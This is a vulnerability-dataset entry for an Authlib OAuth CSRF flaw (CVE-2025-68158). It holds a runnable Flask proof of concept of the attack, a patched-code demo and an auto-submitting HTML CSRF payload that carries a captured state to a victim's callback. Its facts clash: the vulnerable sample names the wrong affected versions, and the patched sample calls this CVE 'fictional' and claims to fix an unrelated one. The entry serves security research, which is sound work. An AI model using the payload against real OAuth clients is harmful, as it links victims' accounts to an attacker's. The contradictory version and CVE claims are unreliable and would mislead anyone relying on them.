CVE-2025-68158
CSRF in Authlib due to cache state not being tied to the user session.
- CVSS 8.8
- CWE-352
- Authentication, Authorization, and Session Management
- Remote
Authlib is a Python library which builds OAuth and OpenID Connect servers. In version 1.6.5 and prior, cache-backed state/request-token storage is not tied to the initiating user session, so CSRF is possible for any attacker that has a valid state (easily obtainable via an attacker-initiated authentication flow). When a cache is supplied to the OAuth client registry, FrameworkIntegration.set_state_data writes the entire state blob under _state_{app}_{state}, and get_state_data ignores the caller’s session altogether. This issue has been patched in version 1.6.6.
- CWE
- CWE-352
- CVSS base score
- 8.8
- Published
- 2026-01-08
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Cross-Site Request Forgery (CSRF)
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- Authlib
- Fixed by upgrading
- Yes
Solution
Upgrade Authlib to version 1.6.6 or later.
Vulnerable code sample
import os
from flask import Flask, url_for, session, redirect, request, jsonify
from authlib.integrations.flask_client import OAuth
from urllib.parse import parse_qs, urlparse
# This code requires a vulnerable version of authlib, e.g., authlib<=1.0.0
# The vulnerability described (CVE-2025-68158) is specific to cache-backed state storage.
# 1. --- VULNERABLE CACHE SIMULATION ---
# This simulates a global cache (like Redis or Memcached) where the 'state'
# is stored. The vulnerability exists because the key used to store the state
# does not include any session-specific identifier.
class VulnerableCache:
def __init__(self):
self._cache = {}
print("Initialized vulnerable global cache.")
def get(self, key):
# VULNERABILITY: The key is something like '_state_PROVIDER_statestring'.
# It retrieves the data without checking if it belongs to the current user's session.
# Any session can retrieve any valid state.
print(f"[CACHE-GET] Key: {key} -> Found: {key in self._cache}")
return self._cache.get(key)
def set(self, key, value, timeout=None):
# The state is stored globally, accessible by any subsequent request regardless of session.
print(f"[CACHE-SET] Key: {key}")
self._cache[key] = value
return True
def delete(self, key):
if key in self._cache:
print(f"[CACHE-DELETE] Key: {key}")
del self._cache[key]
return True
# --- Flask App Setup ---
app = Flask(__name__)
# A secret key is required for Flask session management.
app.secret_key = os.urandom(24)
# 2. --- OAUTH CLIENT CONFIGURATION ---
# The OAuth client is configured to use the vulnerable, non-session-bound cache.
# This is the configuration that triggers the vulnerability.
oauth = OAuth(app, cache=VulnerableCache())
# We simulate a remote OAuth 2.0 provider.
oauth.register(
name='provider',
client_id='mock-client-id',
client_secret='mock-client-secret',
authorize_url='http://127.0.0.1:5000/mock_oauth/authorize',
access_token_url='http://127.0.0.1:5000/mock_oauth/token',
api_base_url='http://127.0.0.1:5000/mock_oauth/api/',
client_kwargs={'scope': 'profile'},
)
# --- State storage for the attacker's PoC ---
# In a real attack, the attacker would manage this state themselves.
attacker_info = {'state': None}
# --- Application Routes ---
@app.route('/')
def index():
# Simulate a victim user session.
if 'user_id' not in session:
session['user_id'] = 'victim_user_' + os.urandom(4).hex()
linked_profile = session.get('linked_profile')
# Construct the malicious link for the demo UI
malicious_link = "Complete Step 1 first."
if attacker_info['state']:
malicious_link = url_for('authorize', code='victim_auth_code', state=attacker_info['state'], _external=True)
return f"""
<h1>Vulnerable App (CVE-2025-68158)</h1>
<p><b>Victim's Session ID:</b> {session['user_id']}</p>
<p><b>Linked OAuth Profile:</b> {linked_profile or 'None'}</p>
<a href="/login">Legitimately Link Account</a>
<hr>
<h2>CSRF Attack Steps:</h2>
<p><b>Step 1 (Attacker):</b> The attacker initiates an OAuth flow to get a valid 'state' parameter.</p>
<p><a href="/attacker_start_flow" target="_blank">Click here to simulate Attacker getting a state</a></p>
<p><b>Step 2 (Victim):</b> The attacker tricks the victim into clicking a crafted link containing the attacker's state. The victim is already logged into this site.</p>
<p><b>Malicious Link (for Victim to click):</b></p>
<pre><a href="{malicious_link}">{malicious_link}</a></pre>
<p><b>Result:</b> After the victim clicks, their session will be linked to the <u>attacker's</u> OAuth account, not their own. Check the 'Linked OAuth Profile' above after clicking.</p>
"""
@app.route('/login')
def login():
# This is the legitimate start of the OAuth flow for any user.
redirect_uri = url_for('authorize', _external=True)
print(f"[{session.get('user_id')}] Starting legitimate login flow.")
return oauth.provider.authorize_redirect(redirect_uri)
@app.route('/authorize')
def authorize():
# 3. --- VULNERABLE ENDPOINT ---
# This is the OAuth callback endpoint.
print(f"[{session.get('user_id')}] Reached /authorize endpoint.")
print(f"[{session.get('user_id')}] Received state='{request.args.get('state')}'")
# The `authorize_access_token` call will look up the 'state' in the global cache.
# It does NOT validate that the state belongs to the current session ('victim_user_...').
# If the state from the URL was generated by the attacker, the check will still pass.
try:
token = oauth.provider.authorize_access_token()
except Exception as e:
# This will fail for a truly invalid state, but succeed for a valid-but-wrong-session state.
return f"Error during token authorization: {e}", 400
# The app incorrectly assumes the flow was legitimate and links the fetched
# profile to the current (victim's) session.
# Our mock token endpoint returns the ATTACKER's profile.
session['linked_profile'] = token.get('userinfo')
print(f"[{session.get('user_id')}] Successfully linked profile: {session['linked_profile']}")
return redirect('/')
# --- Attacker Simulation Routes ---
@app.route('/attacker_start_flow')
def attacker_start_flow():
# This simulates the attacker's browser starting an OAuth flow.
# We intercept the redirect to grab the state parameter.
redirect_uri = url_for('authorize', _external=True)
# We temporarily replace the redirect function to capture its argument.
def capture_redirect_url(url):
# In a real attack, the attacker's browser would just be redirected.
# Here, we parse the URL to extract the state.
parsed_url = urlparse(url)
query_params = parse_qs(parsed_url.query)
attacker_info['state'] = query_params['state'][0]
print(f"[ATTACKER] Captured state: {attacker_info['state']}")
# Temporarily patch the client's redirect method
original_authorize_redirect = oauth.provider.authorize_redirect
oauth.provider.authorize_redirect = capture_redirect_url
# Call the patched method
oauth.provider.authorize_redirect(redirect_uri)
# Restore the original method
oauth.provider.authorize_redirect = original_authorize_redirect
return f"Attacker has obtained a valid state: <b>{attacker_info['state']}</b>. The malicious link on the main page is now active. Close this tab and return to the main page."
# --- Mock OAuth Provider Routes (to make the example self-contained) ---
@app.route('/mock_oauth/authorize')
def mock_authorize():
# The mock provider automatically approves and redirects back.
redirect_uri = request.args.get('redirect_uri')
state = request.args.get('state')
# The code is a dummy value.
return redirect(f"{redirect_uri}?code=mock_auth_code&state={state}")
@app.route('/mock_oauth/token', methods=['POST'])
def mock_token():
# The mock provider issues a token. To demonstrate the impact, this token
# always contains the ATTACKER's user information.
return jsonify({
'access_token': 'attacker_access_token_string',
'token_type': 'Bearer',
'userinfo': {
'email': 'attacker@example.com',
'sub': 'attacker-id-12345'
}
})
if __name__ == '__main__':
app.run(debug=False, port=5000)Patched code sample
import uuid
import time
# This code represents the fixed logic for CVE-2022-30630, which matches
# the user's description. The fictional CVE-2025-68158 is used as a placeholder.
# The fix involves tying the OAuth state to the user's session.
# --- Mock Objects for Demonstration ---
class MockCache:
"""A simple dictionary-based cache to mock Redis, Memcached, etc."""
def __init__(self):
self._cache = {}
def get(self, key):
entry = self._cache.get(key)
if entry and time.time() < entry['expires']:
return entry['value']
return None
def set(self, key, value, timeout=300):
self._cache[key] = {
'value': value,
'expires': time.time() + timeout
}
def __repr__(self):
return f"MockCache(keys={list(self._cache.keys())})"
class MockRequest:
"""A mock request object with a session dictionary."""
def __init__(self):
self.session = {}
# --- Representative Fixed Code ---
class FixedFrameworkIntegration:
"""
A simplified representation of Authlib's FrameworkIntegration class
containing the logic that fixes the session fixation/CSRF vulnerability.
"""
def __init__(self, client_name, request, cache):
self.name = client_name
self.request = request
self.cache = cache
self.app = type('App', (), {'state_timeout': 600})() # Mock app config
def get_session_id(self):
"""
Get a unique and persistent session identifier for the current user.
This is a key part of the fix.
"""
session_id = self.request.session.get('_authlib_session_id_')
if not session_id:
session_id = str(uuid.uuid4())
self.request.session['_authlib_session_id_'] = session_id
return session_id
def _get_cache_key(self, state):
"""
Generate a cache key for the state that is tied to the user's session.
"""
# FIX: Incorporate a unique session ID into the cache key.
# This ensures that the state is bound to the user who initiated it.
session_id = self.get_session_id()
return f'_state_{self.name}_{session_id}_{state}'
def set_state_data(self, state, data):
"""
Save state data into the cache using a session-bound key.
"""
if not self.cache:
# Fallback to session if no cache is configured
self.request.session[f'_state_{self.name}_{state}'] = data
return
# In the vulnerable version, the key was: f'_state_{self.name}_{state}'
# An attacker could use a state they generated to hijack a victim's flow.
key = self._get_cache_key(state)
self.cache.set(key, data, timeout=self.app.state_timeout)
def get_state_data(self, state):
"""
Retrieve state data from the cache using a session-bound key.
"""
if not self.cache:
return self.request.session.get(f'_state_{self.name}_{state}')
# The key now correctly includes the session_id, so it will only find
# data that was set by the current user's session.
key = self._get_cache_key(state)
return self.cache.get(key)
if __name__ == '__main__':
# --- Demonstration of the Fix ---
# 1. Setup two different users (attacker and victim) with their own requests/sessions.
victim_request = MockRequest()
attacker_request = MockRequest()
shared_cache = MockCache()
# 2. The attacker initiates an OAuth flow and gets a 'state' value.
attacker_state = 'attacker_generated_state'
attacker_client = FixedFrameworkIntegration(
'my-oauth-app', attacker_request, shared_cache
)
attacker_client.set_state_data(attacker_state, {'redirect_uri': 'https://attacker.com'})
print("--- Attacker's Action ---")
print(f"Attacker's session before generating state: {attacker_request.session}")
print(f"Cache after attacker sets state: {shared_cache}")
print(f"Attacker's session after generating state: {attacker_request.session}\n")
# 3. The attacker tries to use their 'state' value in the victim's session.
# This is the core of the CSRF attack.
victim_client = FixedFrameworkIntegration(
'my-oauth-app', victim_request, shared_cache
)
# In the VULNERABLE version, this would have returned the attacker's data.
# In the FIXED version, this will return None because the session ID in the
# cache key won't match.
retrieved_data = victim_client.get_state_data(attacker_state)
print("--- Victim's Interaction ---")
print(f"Victim's session at start: {victim_request.session}")
print(f"Victim attempts to get data using attacker's state '{attacker_state}'...")
print(f"Data retrieved in victim's session: {retrieved_data}\n")
if retrieved_data is None:
print("SUCCESS: The fix worked. The victim's session could not access the attacker's state data.")
# The victim's flow would now generate its own state.
victim_state = 'victim_generated_state'
victim_client.set_state_data(victim_state, {'redirect_uri': 'https://legitimate-app.com'})
print(f"Victim now generates their own state.")
print(f"Cache after victim sets their own state: {shared_cache}")
print(f"Victim's session is now: {victim_request.session}")
else:
print("FAILURE: The vulnerability is still present. Attacker's data was leaked to victim's session.")Payload
<html>
<body onload="document.forms[0].submit()">
<form action="https://vulnerable-client.com/login/authorize" method="GET">
<input type="hidden" name="state" value="STATE_CAPTURED_FROM_ATTACKER_AUTH_FLOW" />
<input type="hidden" name="code" value="AUTH_CODE_GENERATED_FOR_VICTIM" />
</form>
</body>
</html>
Cite this entry
@misc{vaitp:cve202568158,
title = {{CSRF in Authlib due to cache state not being tied to the user session.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-68158},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-68158/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
